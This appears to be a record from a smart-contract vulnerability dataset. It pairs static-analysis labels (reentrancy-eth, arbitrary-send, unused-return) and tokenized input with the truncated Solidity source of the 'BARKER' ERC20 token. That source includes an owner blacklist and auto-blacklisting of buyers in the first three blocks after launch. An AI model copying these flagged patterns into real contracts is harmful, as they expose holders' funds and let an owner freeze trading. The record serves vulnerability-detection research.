81611b5a565b60006020828403121561192b57600080fd5b81516110f881611b5a565b60006020828403121561194857600080fd5b5035919050565b60008060006060848603121561196457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119aa5785810183015185820160400152820161198e565b818111156119bc576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a575784516001600160a01b031683529383019391830191600101611a32565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a8b57611a8b611b03565b500190565b600082611aad57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611acc57611acc611b03565b500290565b600082821015611ae357611ae3611b03565b500390565b6000600019821415611afc57611afc611b03565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104ed57600080fd5b80151581146104ed57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d55ebed4d0699030cd9117e00464b48dccd9f43eee9273a3ce4277a62864402b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 2581, 2050, 2620, 2683, 2683, 2581, 2620, 2546, 16086, 12376, 2487, 2094, 20958, 2278, 2683, 14141, 2692, 5243, 2620, 2546, 2581, 2683, 2549, 2497, 2683, 2683, 3401, 2546, 2549, 14141, 1013, 1008, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 3393, 23743, 17231, 2226, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1017, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,509
0x96e819ac7b41ffb859b3362a6c3b1823b9372275
// SPDX-License-Identifier: Unlicensed /** **/ pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BARKER is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address private marketingWallet; address private devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public enableEarlySellTax = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch // Seller Map mapping (address => uint256) private _holderFirstBuyTimestamp; // Blacklist Map mapping (address => bool) private _blacklist; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public earlySellLiquidityFee; uint256 public earlySellMarketingFee; uint256 public earlySellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; // block number of opened trading uint256 launchedAt; /******************/ // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("BARKER", "BARK") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 1; uint256 _buyDevFee = 1; uint256 _sellMarketingFee = 10; uint256 _sellLiquidityFee = 1; uint256 _sellDevFee = 1; uint256 _earlySellLiquidityFee = 1; uint256 _earlySellMarketingFee = 13; uint256 _earlySellDevFee = 1 ; uint256 totalSupply = 1 * 1e9 * 1e18; maxTransactionAmount = totalSupply * 10 / 1000; // 1% maxTransactionAmountTxn maxWallet = totalSupply * 10 / 1000; // 1% maxWallet swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; launchedAt = block.number; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee, uint256 _earlySellDevFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 30, "Must keep fees at 30% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function blacklistAccount (address account, bool isBlacklisted) public onlyOwner { _blacklist[account] = isBlacklisted; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } // anti bot logic if (block.number <= (launchedAt + 3) && to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { _blacklist[to] = true; } // early sell logic bool isBuy = from == uniswapV2Pair; if (!isBuy && enableEarlySellTax) { if (_holderFirstBuyTimestamp[from] != 0 && 